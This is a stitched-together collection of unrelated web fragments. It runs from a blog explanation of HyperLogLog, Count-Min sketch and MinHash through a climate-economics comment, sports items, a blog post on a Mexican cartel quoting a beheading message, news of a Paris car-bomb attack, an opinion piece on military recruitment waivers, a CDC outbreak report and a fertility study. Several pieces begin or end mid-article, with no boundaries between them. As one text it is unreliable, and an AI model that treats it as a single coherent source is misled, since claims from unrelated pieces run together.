HLL replaces heads and tails with zeros and ones. Instead of counting the longest run of heads, it counts the longest run of leading zeros in a binary hash. Using a good hash function means that the values are, more or less, statistically independent and uniformly distributed. If the maximum run of leading zeros is n, the number of distinct elements in the set is approximately . But wait, what’s the math behind this? If we think about it, half of all binary numbers start with 1. Each additional bit divides the probability of a run further in half; that is, 25% start with 01, 12.5% start with 001, 6.25% start with 0001, ad infinitum. Thus, the probability of a run of length n is .
Like flipping a coin, there’s potential for an enormous amount of variance with this technique. For instance, it’s entirely possible—though unlikely—that you flip 20 heads in a row on your first try. One experiment doesn’t provide enough data, so instead you flip 10 coins. HyperLogLog uses a similar strategy to reduce variance by splitting the stream up across a set of buckets, or registers, and applying the counting algorithm on the values in each one. It tracks the longest run of zeros in every register, and the total cardinality is computed by taking the harmonic mean across all registers. The harmonic mean is used to discount outliers since the distribution of values tends to skew towards the right. We can increase accuracy by adding more registers, which of course comes at the expense of performance and memory.
HyperLogLog is a remarkable algorithm. It almost feels like magic, and it’s exceptionally useful for working with data streams. HLL has a fraction of the memory footprint of other solutions. In fact, it’s usually several orders of magnitude while remaining surprisingly accurate.
Count-Min Sketch
HyperLogLog is a great option to efficiently count the number of distinct elements in a stream using a minimal amount of space, but it only gives us cardinality. What about counting the frequencies of specific elements? Cormode and Muthukrishnan developed the Count-Min sketch (CM sketch) to approximate the occurrences of different event types from a stream of events.
In contrast to a hash table, the Count-Min sketch uses sub-linear space to count frequencies. It consists of a matrix with w columns and d rows. These parameters determine the trade-off between space/time constraints and accuracy. Each row has an associated hash function. When an element arrives, it’s hashed for each row. The corresponding index in the rows are incremented by one. In this regard, the CM sketch shares some similarities with the Bloom filter.
The frequency of an element is estimated by taking the minimum of all the element’s respective counter values. The thought process here is that there is possibility for collisions between elements, which affects the counters for multiple items. Taking the minimum count results in a closer approximation.
The Count-Min sketch is an excellent tool for counting problems for the same reasons as HyperLogLog. It has a lot of similarities to Bloom filters, but where Bloom filters effectively represent sets, the CM sketch considers multisets.
MinHash
The last probabilistic technique we’ll briefly look at is MinHash. This algorithm, invented by Andrei Broder, is used to quickly estimate the similarity between two sets. This has a variety of uses, such as detecting duplicate bodies of text and clustering or comparing documents.
MinHash works, in part, by using the Jaccard coefficient, a statistic which represents the size of the intersection of two sets divided by the size of the union:
This provides a measure of how similar the two sets are, but computing the intersection and union is expensive. Instead, MinHash essentially works by comparing randomly selected subsets through element hashing. It resembles locality-sensitive hashing (LSH), which means that similar items have a greater tendency to map to the same hash values. This varies from most hashing schemes, which attempt to avoid collisions. Instead, LSH is designed to maximize collisions of similar elements.
MinHash is one of the more difficult algorithms to fully grasp, and I can’t even begin to provide a proper explanation. If you’re interested in how it works, read the literature but know that there are a number of variations of it. The important thing is to know it exists and what problems it can be applied to.
In Practice
We’ve gone over several fundamental primitives for processing large data sets and streams while solving a few different types of problems. Bloom filters can be used to reduce disk reads and other expensive operations. They can also be purposed to detect duplicate events in a stream or prune a large decision tree. HyperLogLog excels at counting the number of distinct items in a stream while using minimal space, and the Count-Min sketch tracks the frequency of particular elements. Lastly, the MinHash method provides an efficient mechanism for comparing the similarity between documents. This has a number of applications, namely around identifying duplicates and characterizing content.
While there are no doubt countless implementations for most of these data structures and algorithms, I’ve been putting together a Go library geared towards providing efficient techniques for stream processing called Boom Filters. It includes implementations for all of the probabilistic data structures outlined above. As streaming data and real-time consumption grow more and more prominent, it will become important that we have the tools and understanding to deal with them. If nothing else, it’s valuable to be aware of probabilistic methods because they often provide accurate results at a fraction of the cost. These things aren’t just academic research, they form the basis for building online, high-performance systems at scale.
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How is the cost of lost polar bear habitat calculated? Or is it? How is the cost of lost species calculated? Some species can migrate northward as temperatures rise. But we have largely foreclosed that possibility with our paved and fenced world now. Mountain-dwelling plants can migrate up-slope to some degree as temperatures increase, but this possibility exists only so long as there is an up-slope to go toward. Those plants already adapted to living near the tops of mountains may have nowhere to go to. And this is a slow process. Plants already at risk due to loss of pollinating insects may not be able to withstand this additional challenge to their survival. How is the loss of biodiversity calculated as a cost of climate change? Or is it?
If biodiversity is not a value that is reflected in the calculations, then the numbers presented are at best misleading. If diversity of life is reflected as a value in the calculus, then it is certainly a factor that it would seem to be hard to fix with precision. Those who say that we should not base our policy on economists' bean counting have a point. We cannot put a price on the value of a diverse and resilient ecosystem any more than we can easily put a monetary measure on the value of a breath of fresh air or a beautiful sunset.
The question for a democratic society is, "What amount of carbon dioxide should we allow to be released into the air each year (and what amount of methane, and what amount of various other materials)?" If we notice that most people want significant reductions in carbon emissions (because we decide to take a random survey and ask the question), and if we know that actual emissions are far in excess of what most people feel is acceptable, then we can ask, what is the cost of sacrificing our democratic principles on the altar of economic growth?
The truth is that a path forward that assumes perpetual economic growth is a road to oblivion. The cosmos cannot support the growth projections that are offered as the basis for comparison in this analysis. We *can* create a society that grows in productive capacity when people learn new ways of making wealth *without* growing in its tendency to squander natural wealth and foreclose future opportunities for those not yet born. I believe that to do so, we will need to recognize a shared ownership in the natural wealth of the planet. We will need to impose the fee or tax (or adopt a system that provides for sale of a limited number of permits at auction) and make the price of various kinds of environmental impacts (emissions and extractions) high enough so that the overall impacts of the various kinds do not exceed what most people feel is acceptable. The fee proceeds should go to all the people, to each an equal amount (or according to a sliding scale, based on income and endorsed by the people at large, to be determined by random survey).
I agree with Dr. Lomborg that we should end policies that subsidize inefficient industries. The market can work out the best path forward *when all costs are properly accounted for*. (This article unfortunately omits any direct discussion of external costs.) As fossil fuel (and manufacturing based on extraction of virgin raw materials) becomes more expensive, market forces will favor investment in alternative forms of energy (and manufacturing based on recycled materials) AND they will favor increased efficiency AND changes in lifestyle choices, all of which would contribute to the stability and sustainability of civilization. Appropriate fees, with sharing of fee proceeds, would mean a sustainable and more just society. Political pressure to promote economic growth would abate, since downturns in economic activity would not bring with them extreme economic hardship and strong perceptions of economic injustice, because every person would retain their share of natural wealth as a cushion against any hard bumps in their road.
Equal sharing of Natural Resources promotes Justice and Sustainability:
Kai Xu ordered turtles online and would travel to the U.S. to ship them to China or return with them to Canada.
Xu pleaded guilty Tuesday in federal court in Ann Arbor. He's a 27-year-old student at the University of Waterloo in Waterloo, Ontario.
In September 2014, Xu was caught with turtles taped to his body in plastic. It's illegal to export wildlife from the U.S. without a license from the government.
While it’s pretty safe to say they didn’t have the AFL’s Eagles in mind, it wouldn’t surprise if the position actually existed at West Coast and he was responsible for organising cheesy photographs whenever an event or a game needed promoting.
A new musical in town? A sponsorship announcement? A big home game? Call the under assistant promo man.
This week Retrogram has delved into the pictorial vault and found 10 rippers, such as this image of Essendon’s Adam McPhee protesting at being tackled without the ball by Catwoman. The premise? The actor was dressed up to promote the Australian release of the 2004 Halle Berry film Catwoman, while McPhee had the guernsey on to pump up the following weekend’s match between Essendon and Geelong.
Perhaps you can recall a similarly bizarre photograph or publicity stunt. If so leave a comment below or @_warwickgreen and we’ll republish a selection next week.
media_camera Carlton’s Andrew McKay promotes the Lygon Street Festa in 1995. Picture: Bruce Howard
1. ANDREW McKAY, Carlton
Promoting: The 1995 Lygon Street Festa
How: The Carlton defender gets in a practice run for the greasy pole climbing competition, to be held during the Festa. Helping him climb further up the pole are Lygon Street Fencers Sarah Oswatt, Joe D’Onfrio and Scott Arnold.
Cheesiness rating: 8
media_camera Swans Andrew Schauble, Rowan Warfe, Leo Barry, Jason Saddington and Gerrard Bennett dressing up to promote the open auditions for Aida. Picture: Supplied
2. SYDNEY SWANS
Promoting: The opera Aida
How: Swans players Andrew Schauble, Rowan Warfe, Leo Barry, Jason Saddington and Gerrard Bennett slipped into a bit of ancient Egyptian attire (including that traditional Egyptian weapon, the Sherrin) back in 2001 to help promote the upcoming Verdi opera. It was reminiscent of Carlton pair Justin Madden and Steve Silvagni pulling a similar stunt to promote the staging of Aida, complete with giant models of the Sphinx and pyramids, on the turf at Princes Park back in 1989.
Cheesiness rating: 6
media_camera Essendon midfielder David Calthorpe promoting Nissan in 1996. Picture: Brad Wilson
3. DAVID CALTHORPE, Essendon
Promoting: An off-season trip to Big Desert (and, more likely, a Nissan four-wheel-drive)
How: Calthorpe scratches his head looking at a map of the Big Desert on Victoria’s western border back in 1996, while model Sue-Anne Ulrick reclines on the bonnet of the said Nissan. As you do.
Cheesiness rating: 9
media_camera Suns skipper Gary Ablett at the start of the 2013 season. Picture: Adam Head
4. GARY ABLETT, Gold Coast
Promoting: The start of the 2013 AFL season
How: Well, how about we get you to put on a Suns jumper and then stand underneath a waterfall? Nothing says start of a footy season like water cascading on a champion midfielder. Even Ablett seems confused.
Cheesiness rating: 6
media_camera Carlton sponsorship launch with Visy. Nick Stevens and Heath Scotland get on board to promote Visy. Picture: Michael Dodge
5. CARLTON
Promoting: Visy recycling
How: Get two of Carlton’s recycled players, Nick Stevens and Heath Scotland, to ham it up in a recycling bin during the 2007 sponsorship launch. At least for Scotland’s sake I hope that’s a recycling bin.
Cheesiness rating: 7.5
media_camera North Melbourne stars Jack Ziebell and Brent Harvey promote an exhibition in Ballarat. Picture: Ian Currie
6. NORTH MELBOURNE
Promoting: An exhibition of memorabilia and photographs of the rock band Queen
How: Get North players to dress up at the Ballarat Arts Centre during their community camp. Brent Harvey will do as Freddie Mercury, and Jack Ziebell as Brian May.
Cheesiness rating: 7
media_camera Hawsks Ben Dixon and Mark Graham enjoy a bath full of milk to help promote a Rev charity walk. Picture: NewsLimited
7. BEN DIXON AND MARK GRAHAM, Hawthorn
Promoting: Rev walk for charity
How: Gets the Hawks boys to strip off their gear and hop into a bath full of Rev Milk in 1999. In other words, milk the stunt for all it’s worth.
Cheesiness rating: 8
media_camera Geelong great Garry Hocking changed his name to Whiskas to promote cat food. Cameron L’Estrange
8. GARRY HOCKING, Geelong
Promoting: Cat food
How: The photograph itself is not that dodgy, but this one has to get in based on the dodginess of the stunt itself: getting a player to change his name by deed poll for a week to Whiskas. Still, the Cats, with liabilities of $7 million got a much-needed $80,000 in 1999 while Hocking picked up a handy $20,000. And Whiskas has probably picked up hundreds of thousands, if not millions of dollars of publicity over the years.
Cheesiness rating: 7
media_camera Essendon coach Kevin Sheedy at his press conference promoting Yakult. Picture: Andrew Tauber
9. KEVIN SHEEDY, Essendon
Promoting: Yakult fermented milk drink
How: Get Sheeds to do what comes naturally to him: have fun and act like a bit of a goose. The legendary coach has dressed up in an infinite number of costumes over the years to promote things, but going geisha is particularly dodgy.
Cheesiness rating: 8
media_camera St Kilda champions Danny Frawley and Stewart Loewe in 1991. Picture: NewsLimited
10. DANNY FRAWLEY AND STEWART LOEWE, St Kilda
Promoting: Premiere of the Godfather III
How: Get the Saints pair dressed up like gangsters to draw attention to the 1991 premiere at the Dendy Brighton, with some funds going to the club. Particularly noteworthy because this may actually be the first instance of Spud dressing up in silly costumes.
Cheesiness rating: 5
media_camera Socialite Kim Kardashian with an Adelaide Crows guernsey sent to her by SAFM breakfast announcers Hayley Pearson and Angus O'Loughlin.
RETROGRAM RECALL:
From Fitzy via Twitter: Kim Kardashian was presented with an Adelaide jumper when she was out here a couple of years ago.
RETROGRAM SAYS: There is a video of Kardashian (no, not that one) in which she is being interviewed by an Adelaide radio station and is presented with a Crows jumper. She politely declines to put it on, but does offer up a token “Go Crows!’’.
From Peter: Where’s Martina Hingis and Anna Kournikova? Collingwood and Carlton respectively and both looked fantastic.
media_camera French tennis star Jo-Wilfried Tsonga joins Kangaroos Michael Firrito and Daniel Wells in 2008.
From Focus On The Family to La Familia Michoacana julydogs print page Mon Jun 08, 2009 at 04:29:51 PM EST I didn't think my work on the religous right would converge with what I'm doing on the narcoguerra in Mexico...but here it is: the Faith-Based Cartel. I didn't think my work on the religous right would converge with what I'm doing on the narcoguerra in Mexico...but here it is: the Faith-Based Cartel. "La Familia doesn't kill for money, doesn't kill women, doesn't kill innocent people. It only kills those who deserve to die. Everyone should know this: Divine justice."-- message left with five severed heads on the dance floor of the Sol y Sombra nightclub in Uruapan, Michoacan, September 6, 2006 . The drug cartel La Familia Michoacana is, as one Mexican intelligence analyst put it, "unique." From all available information so far, it appears that La Familia has developed into a faith-based right-wing populist social movement emanating from and orchestrated by an organization that happens to be a well-armed, well-financed violent criminal enterprise. La Familia has branched out from the production and transport of drugs, diversifying into counterfeiting, extortion, kidnapping, armed robbery, prostitution and car dealerships. They've gone so far beyond bribery that people in Michoacan are paying mony to La Familia in lieu of taxes to the government. According to the recent Mexican federal police report on La Familia, there are 9,000 members of the La Familia "sect." The federales are now viewing La Familia as more of a guerrilla group than a straight-foward drug cartel. Unlike other cartels, La Familia goes beyond the production and distribution of marijuana, meth, cocaine and heroin and into the political realm. The report goes on to say that La Familia has "created a cult-like mystique and developed pseudo-evangelical recruitment techniques that are unique in Mexico." On May 31 an internal intelligence report on La Familia from the Mexican justice department surfaced , bringing the news that the faith-based cartel grounds its indoctrination program on the writings of macho Christian author and veteran Focus On The Family senior fellow John Eldredge, who now heads Ransomed Hearts Ministries in Colorado Springs. There are four separate references to Eldredge in the Mexican intelligence memo on La Familia. The cartel has conducted a three-year recruitment and PR campaign across Michoacan featuring thousands of billboards and banderas carrying their evangelical message and warnings. La Familia is known for tagging its executions and other mayhem as "la divina justica"--divine justice. According to his bio: John was a member of the staff at Focus on the Family for 12 years. Most recently he served as Senior Fellow for Christian Worldview Studies at the Focus on the Family Institute--a one-semester program for college students located at the Focus campus in Colorado Springs. There he began showing a new generation of Christians what writers like C.S. Lewis, G.K. Chesterton, and George MacDonald knew so well: "Christianity is not an invitation to become a moral person. It is not a program for getting us in line or for reforming society. At its core, Christianity begins with an invitation to desire." At FOTF, Eldredge led Dobson's anti-gay crusade. Here is Rev. Mel White's account of a May 1994 meeting in Colorado in a letter White sent to Dobson: John Eldredge, the first, key-note speaker. "The gay agenda, " he claimed quite falsely, has all the elements of that which is truly evil. It is deceptive at every turn...It deceives those who are drawn into it, who embrace it. It presents an extraordinary deceptive face to the public at large." John was one of the three delegates to that conference from Focus on the Family. ...Mr. Eldredge made his goals for gays and lesbians completely clear: "..to roll back the militant gay agenda wherever it manifests itself...whether in domestic partnership ordinances...school curriculum issues...pursuit of minority status...marriage and adoption privileges, so on and so forth." Eldrege has been repeatedly taken to task by Christian critics on theological grounds, including his mixing of "neo-pagan" philosphy with the Gospel and aggressive of 'Muscular Christianity". Eldrege has been repeatedly taken to task by Christian critics on theological grounds, including his mixing of "neo-pagan" philosphy with the Gospel and aggressive of 'Muscular Christianity". Federal intelligence officers in Mexico described La Familia leader, Nazario Gonzalez Moreno--El Mas Loco (The Crazy One)--as a "religious zealot" who totes around his self-published book of "aphorisms" based on the Bible and Eldredge's writings. In the searches and arrests targeting La Familia across Michoacan, the one common denominator federal forces found, along with assault rifles, grenades and drugs, were copies of Eldredge's Wild At Heart. (Salvaje de Corazon). La Familia is strongly pro-family (and all that that implies) and requires its members to abstain from alcohol and drugs. There is an indoctrination program all La Familia recruits must go through that inculcates " personal values, ethical and morlal principles consistent with the purposes of the organization." Last year La Familia brought in two motivational speakers to lecture its members. The group is hierarchic and maintains a strict top-down emotional control of its members. Think of Jim Jones' People's Temple, only with more money and firepower and you get the idea. For more details...Read all three parts at my blog, July Dogs
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French anti-terrorism prosecutors launched a probe today after a suspected suicide attacker drove his car into a police van on the Champs Elysee in Paris and caused a fireball.
Tourists visiting the French capital’s most famous avenue ran away in panic following the drama soon after 3.40pm local time.
A white-coloured Renault Megane was seen targeting a line of police vans which were travelling up the Champs Elysee towards the Arc de Triomphe. No police officers or bystanders were injured.
"There was a sudden impact, and then a fireball," said an investigating source.
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They added: "A gas bomb was in the car.
(Image: Getty Images Europe)
(Image: REUTERS)
(Image: EPA)
(Image: REUTERS)
"The man was very badly injured, and then pulled out of his damaged vehicle.
"He was badly injured in the collision and was taken away. He did not cause any injuries, but the collision was a deliberate act."
France’s Interior Minister Gerard Collomb confirmed that the terrorist was ‘now dead’.
(Image: EPA)
(Image: REUTERS)
Visiting the scene of the attack, Mr Collomb said: ‘Again the forces of law and order in France were targeted, this time with an attack on the Champs Elysee against a police patrol’.
The assailant used ‘arms and explosives’, as well as his car, but ‘the individual is now dead,’ said Mr Collomb.
The Minister said the security threat to France remained ‘at its highest level’, and that he would be ensuring that the State of Emergency ‘remains in place permanently for the foreseeable future’.
(Image: @MelissaBellCNN/Twitter)
It gives extra powers to the security services to clamp down on suspected terrorists
Specialist anti-terrorism officers confirmed they had opened an enquiry into the kamikaze attack.
It follows a series of terrorism incidents across France carried out by Islamic State operatives, who have regularly used vehicles as weapons across Europe, including in Britain.
As the goddess of love, beauty and sexual pleasure, Aphrodite inspired cult worship and challenged artists to render her in suitably magnificent form. We have inherited an image of her as an idealized nude chiseled in white marble, immortalized by works such as Praxiteles’ Aphrodite of Knidos or the Venus de Milo.
That image is dead wrong, according to modern scholars. Ancient sculptors were very much interested in color as well as form; the white marble statues we admire looked stunningly different in antiquity. They were painted with a palette that displayed a sophisticated understanding of color and shading.
To illustrate how a marble Aphrodite might have appeared to the ancients, we asked German archaeologist Vinzenz Brinkmann, who has pioneered techniques of color restoration, to create a photomechanical reconstruction—never before published—of the first-century A.D. Roman Lovatelli Venus. It was excavated from the ruins of a villa in Pompeii. Unlike most ancient statues, this one gave Brinkmann a head start, because copious evidence of original paint survived. “There are rich traces of pigment which we analyzed using noninvasive methods such as UV-Vis absorption spectroscopy,” he explains. “What we do is absolutely faithful, based on physical and chemical measurements.”
Brinkmann is struck by the synergy of form and color in modeling the goddess’s act of disrobing. “The spectator,” he says, “awaits the next second, when her nakedness will be displayed. The sculptor creates a mantle that is heavy on the upper rim, to clearly explain that it will slide—and enhances this narrative by giving the rim its own color.”
The Lovatelli Venus may be one of the earliest examples of private art collecting, Brinkmann says. The work lent a decorative flourish to a nouveau-riche household.
To the Greeks, the marriage of color and form had deeper connotations, suggests Harvard art historian Susanne Ebbinghaus. She points to a passage in Euripides, in which a remorseful Helen bewails her role in sparking a catastrophic war:
If only I could shed my beauty and assume an uglier aspect
The way you would wipe color off a statue.
FORT COLLINS — Getting beat is one thing, and coaches know it will happen. Contributing to the loss isn't in the plan, and when mistakes start to pile up like they have for Colorado State's football team this season, coaches look for answers.
Mike Bobo is ready to test his theory this week, and he's hoping some adjustments to the way the Rams practice will alter the course of Saturdays.
Especially this one, as No. 25 Boise State comes to Hughes Stadium (5 p.m.; CBS Sports Network), a squad that will take advantage of every miscue by the Rams.
Mike Bobo
He's looking not only at cleaning up the penalties the team is collecting — numbers that put the Rams near the bottom of the country in terms of fouls committed and yards lost — but eliminating missed assignments that he categorizes as undisciplined play. Truth is, some of it has caught him off guard. He's felt the team has gone into games understanding the plan and ready to execute, only to see mistakes be made.
"We've got to do a better job of making sure we go into this week that we understand what we're doing 100 percent through and through so we can execute," he said at his press conference Monday. "A lot of times, penalties and mistakes come when you're not sure. We need to be sure so we can play fast. If we're not ready to play fast against this team, it could be a long day."
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To that end, Bobo wants to pick up the tempo at practice, as well as foster more competition. He said the past few weeks they've backed off that a bit as injuries mounted, leaning more toward scout work.
That's going to change this week, starting with Monday. It's a day he said the Rams normally don't go against the other side of the ball, but this week there was seven-on-seven work as well as the two lines squaring off for pass-rush work.
He said it wasn't adding more practice, just practicing different.
"I do think we understand it. I do think we have a pretty good feel for it, and then you get in the game and things go fast and kids make mistakes," Bobo said. "So we've got to do a better job at practice and making sure things go fast and we compete at a higher level during practice.
"I'm not saying go full pads, tackle, anything like that. We've got to rev up the competition in my opinion a little bit of us playing faster instead of just the scheme and the assignment this week."
Offensive tackle Sam Carlson sees a myriad of reasons why the Rams falter at times, be it a lack of focus, playing undisciplined or having players not fully versed in what they're being asked to do. He didn't list them as excuses, but rather flaws that need to be corrected.
He also agrees that amping up the competition factor this week will definitely help, seeing it as something that worked well in the past.
"I think so. Competition breeds competitors," Carlson said. "When you have guys who are out there competing, you're going to find out who really wants to be there and who doesn't. We're going to find out a lot about our team this week."
Against the ranked at home — Boise State comes into Saturday's game ranked No. 25 in the AP poll, and the Rams haven't had much success in beating ranked teams at Hughes Stadium, just 2-24.
The two victories came in 1977 against No. 12 Arizona State and in 1990 against No. 19 Wyoming. CSU also beat Fresno State in 1993 at home, but the Bulldogs, ranked No. 23 by the coaches, weren't ranked by AP.
The last time Boise State came to Hughes ranked, the Broncos left with a 63-13 win in 2011.
Developing a feel — Quarterback Nick Stevens was pressured throughout Saturday's loss to Utah State but showed the ability to steer clear of trouble in the pocket, even breaking out a couple of times to pick up yards, including his 15-yard touchdown run. It's a skill Bobo said the sophomore has to have — especially in a pro-set — and is getting better at performing.
"It's a knack, and I think Nick is getting better at that I think with the cumulative reps he's had. There were a couple of times during the game I thought he could have used better pocket presence and slid over, kept his feet underneath him and had better balance to make a throw," Bobo said.
"That comes with repetition and time, but our guys are going to have to do that."
Pink out — The Rams will use Saturday to raise awareness for breast cancer prevention, with both the volleyball and football teams encouraging their fans to wear pink to the games. The teams will also be wearing pink or having elements of pink in their uniforms. During the game, several athletic items will be auctioned off to help raise money for the UC Health oncology department.
Intel Strike Network
May 22, 2008
In the eyes of the military, it’s a simple numbers game. But the recruitment process for America’s armed forces is changing, and so is the look, feel, and policy of the military itself.
According to national statistics, felony waivers for recruits have been doubling almost every year for the past several years. Military.com reports:
“The number of felony waivers granted by the Army grew from 411 in 2003 to 901 in 2006, according to the Pentagon, or about one in 10 of the moral waivers approved that year. Other misdemeanors – from petty theft or writing a bad check to some assaults – jumped from about 2,700 to more than 6,000 in 2006, representing more than three-quarters of moral waivers granted by the Army. Army and Defense Department officials defended the waiver program as a way to admit young people who had made a mistake but overcome past behavior.”
Felony waivers consist of the worst elements, but there are also ‘conduct waivers’ for recruits who have had small issues on their records such as traffic tickets and minor drug offenses. Conduct waivers for Army recruits rose from 8,129 in fiscal 2006 to 10,258 in fiscal 2007. For Marine Corps recruits, they increased from 16,969 to 17,413.
“In particular, the Army accepted more than double the number of applicants with convictions for felony crimes such as burglary, grand larceny and aggravated assault, rising from 249 to 511, while the corresponding number for the Marines increased by two-thirds, from 208 to 350. The vast majority of such convictions stem from juvenile offenses. Most involved theft, but a handful involved sexual assault and terrorist threats, and there were three cases of involuntary manslaughter.”
The changing face of the military and increased use of felony waivers is even angering gays, who have already felt scorned for years because of the military’s ‘don’t ask, don’t tell’ policy.
Not only are recruits with felony waivers being signed up with the military, they’re also promoted faster.
“The Army study compared the performance of soldiers who came in with conduct waivers against those who did not during the years 2003-2006. In that time, 276,231 recruits enlisted in the Army with no prior military service. Of those 6.5 percent, or nearly 18,000 had waivers.
In a comparison of both groups the study found that soldiers who had received waivers for bad behavior:
– Had a higher desertion rate (4.26 percent vs. 3.59 percent).
– Had a higher misconduct rate (5.95 percent vs. 3.55 percent).
– Had a higher rate of appearances before courts-martial (1 percent vs. 0.71 percent).
– Had a higher dropout rate for alcohol rehabilitation failure (0.27 percent vs. 0.12 percent).
But they also:
– Were more likely to re-enlist (28.48 percent vs. 26.76 percent).
– Got promoted faster to sergeant (after 34.7 months vs. 39 months).
– Had a lower rate of dismissal for personality disorders (0.93 percent vs. 1.12 percent).”
But this is all old hat. Felony waivers, while on the rise, have been used for years. It’s just a matter of changing times, right? We used to hold our military to a higher moral standard, not only because of the deadly weapons of war the tax payer funds, but also because we send these boys and girls across the world to set an example to others as to how Americans behave.
But another aspect of the changing military, and one harder to justify, is the use of illegal aliens in the different branches of the armed forces. Recruiters have been caught trying to enlist illegal aliens, but of course official military policy is to deny that illegal immigrants are targeted, because as of right now it’s against policy to do so.
“There are currently about 37,500 foreign nationals from over 200 countries serving in the active duty forces and reserves . Seventy-one have died in Iraq and three in Afghanistan. The law currently provides for expediting the citizenship applications of U.S. service personnel, who become eligible to apply the first day they enlist. The presence of non-citizens in the U.S. armed forces dates back to the 18th century—“more than 660,000 military veterans became citizens through naturalization between 1862 and 2000,” according to a report by the nonprofit CNA Corporation.”
This ‘use but deny’ policy strategy has been brought to light more so in the past year, especially with the DREAM ACT which was introduced in 2007 as part of the Amnesty Bill.
“The Development, Relief, and Education for Alien Minors Act, or DREAM Act, is part of the stalled package of proposals that many in Congress are seeking to resurrect. The proposal, applicable to an estimated 750,000 undocumented residents of military age, stipulates that those who arrived in the United States before age 16, graduated from high school, and meet other qualifications could immediately enter the path to citizenship in exchange for at least two years’ service in the armed forces.”
Mexican citizen groups have also claimed that US recruiters have been seen near the border on enlistment drives.
“According to Prensa Latina on Friday in Culiacan, the capital of the northern state Sinaloa, civil activist Ildefonso Ortiz Cabrera told reporters that US military officers use young men of Latin American origin to recruit for the wars in Afghanistan and Iraq.
Then there’s this news report from Los Angeles that shows immigrants, some of which are admitted illegals, confessing to being approached by US recruiters. There’s also footage taken showing immigrant recruits training at the facility, which has grounds beside a mall in LA. When the reporters are discovered by Marine officials, the immigrant recruits are shown running inside the complex to hide from the reporters’ cameras.
David Schnabel, MD1, Joanna Gaines, PhD2, Duc B. Nguyen, MD3, Douglas H. Esposito, MD2, Alison Ridpath, MD4, Kari Yacisin, MD4, Jose A. Poy, MD4, Jocelyn Mullins, DVM5, Rachel Burns, MPH6, Virginia Lijewski, MPH6, Nora P. McElroy, MPH6, Nina Ahmad, MD7, Cassandra Harrison, MSPH8, Ellen J. Parinelli, MPH9, Amanda L. Beaudoin, DVM10, Leah Posivak-Khouly, MPH11, P. Scott Pritchard, MPH12, Bette J. Jensen, MMSc3, Nadege C. Toney, MS3, Heather A. Moulton-Meissner, PhD3, Edith N. Nyangoma, MD2, M. Anita Barry, MD13, Katherine A. Feldman, DVM1, David Blythe, MD1, Joseph F. Perz, DrPH3, Oliver W. Morgan, PhD14, Phyllis Kozarsky, MD2, Gary W. Brunette, MD2, Mark Sotir, PhD2 (Author affiliations at end of text)
In August 2013, the Maryland Department of Health and Mental Hygiene (MDHMH) was notified of two persons with rapidly growing nontuberculous mycobacterial (RG-NTM) surgical-site infections. Both patients had undergone surgical procedures as medical tourists at the same private surgical clinic (clinic A) in the Dominican Republic the previous month. Within 7 days of returning to the United States, both sought care for symptoms that included surgical wound abscesses, clear fluid drainage, pain, and fever. Initial antibiotic therapy was ineffective. Material collected from both patients' wounds grew Mycobacterium abscessus exhibiting a high degree of antibiotic resistance characteristic of this organism (1).
Attempting to identify additional cases, MDHMH posted Epi-X* alerts in August, November, and December 2013. Health department officials in Connecticut, Florida, Massachusetts, New Jersey, New York, Pennsylvania, Boston, and New York City, and CDC officials joined MDHMH to investigate possible cases reported. Official health alerts from state and local health departments and notifications through the Emerging Infections Network and the American Society of Plastic Surgeons requested that health-care providers and the public health community report additional patients. A probable case was defined as a soft-tissue infection unresponsive to standard antibiotic therapy in a patient who had undergone cosmetic surgery in the Dominican Republic after March 1, 2013. A confirmed case was defined as a probable case testing positive for RG-NTM. Patients with probable and confirmed infection were interviewed by using a standardized questionnaire; a systematic abstraction of patients' medical records is ongoing. Pulsed-field gel electrophoresis of available isolates from patients associated with clinic A is being performed at CDC and the New York City Department of Health and Mental Hygiene.
As of February 21, 2014, a total of 19 cases were identified from five states (New York, 11; Massachusetts, three; Connecticut, two; Maryland, two; and Pennsylvania, one). Sixteen (84%) cases were confirmed, and three (16%) were probable. All patients are female (aged 18–59 years). Twelve (63%) reported undergoing surgery at clinic A, and seven (37%) reported surgery at seven other Dominican Republic surgical clinics. The most common cosmetic surgical procedures were liposuction (74%), abdominoplasty (58%), and breast implantation (32%); all procedures occurred during March–November 2013 (Figure), and illness onsets occurred during April–November 2013. Fourteen (74%) were hospitalized in the United States and required multiple therapeutic and corrective surgical procedures and long courses of antibiotics; five were treated as outpatients. No deaths were reported. Of the 16 confirmed cases, 13 (81%) were Mycobacterium abscessus infections; two (12%) were M. fortuitum infections; and one (6%) is pending final speciation. Of the 18 patients who were interviewed, 13 (72%) were born in the Dominican Republic.
CDC notified Dominican public health authorities of the outbreak investigation and recommended patient follow-up and onsite assessment of infection control practices at the implicated clinics. Clinic A has been closed temporarily by Dominican authorities. This and other outbreaks underscore the risk for infection, including RG-NTM infection, resulting from medical tourism (2,3). CDC advises all persons planning to receive surgical care outside the United States to verify that the health-care provider and facility they are considering using are licensed and accredited by an internationally recognized accreditation organization before proceeding (4,5). These findings indicate that health-care providers consider RG-NTM among patients with a history of cosmetic surgery in the Dominican Republic who also have a surgical-site infection that fails to respond to standard therapy.
Acknowledgments
Alice M. Shumate, PhD, New Jersey Department of Health. Althea Hayden, MD, University of British Columbia. Alice Tyler, University College London. Yahaira Gerardo, Boston Public Health Commission. Susan M. Rhee, MD, Division of Infectious Diseases, Johns Hopkins Bayview Medical Center. Adena H. Greenbaum, MD, Division of Infectious Diseases, Johns Hopkins Hospital. Lucy E. Wilson, MD, Jafar H. Razeq, PhD, Maryland Department of Health and Mental Hygiene. Jack Ross, MD, Hartford Hospital. Philip Kurpiel, PhD, New York State Metropolitan Area Regional Office. Vincent E Escuyer, PhD, Wadsworth Center. Marina Keller, MD, Orange Regional Medical Center.
References
Findings of the study, performed in New York in nearly 300 very overweight men, were unexpected, said coauthor Nanette Santoro, MD, an Albert Einstein College of Medicine obstetrician-gynecologist who is trained in reproductive endocrinology.
“We see pretty significant deficits in fertility in women due to obesity, so we thought we’d see an effect in men,” Santoro said. “But that wasn’t the case.”
Santoro and her colleagues studied 292 men who gave semen samples at fertility clinics. The men were ages 18 to 50 and, on average, had a body mass index (BMI) of 28, which is considered nearly obese. The authors found that greater body weight was not associated with worse sperm production or sperm motility. Impaired sperm production is the cause of infertility in 90 percent of infertile men, according to Santoro. About 6 percent of reproductive-age men are infertile, she said.
Increasing body weight was linked to lower testosterone in the 31 study participants for whom testosterone was tested. However, Santoro said low testosterone causes infertility only if it is very low or occurs in morbidly obese men.
“Our results show that the process of making sperm is pretty robust and is hard to interrupt,” Santoro said. “It’s good news for men that body size may be less related to fertility than it is in women.”
She cautioned that the findings should not serve as an excuse for overweight men to avoid losing weight.
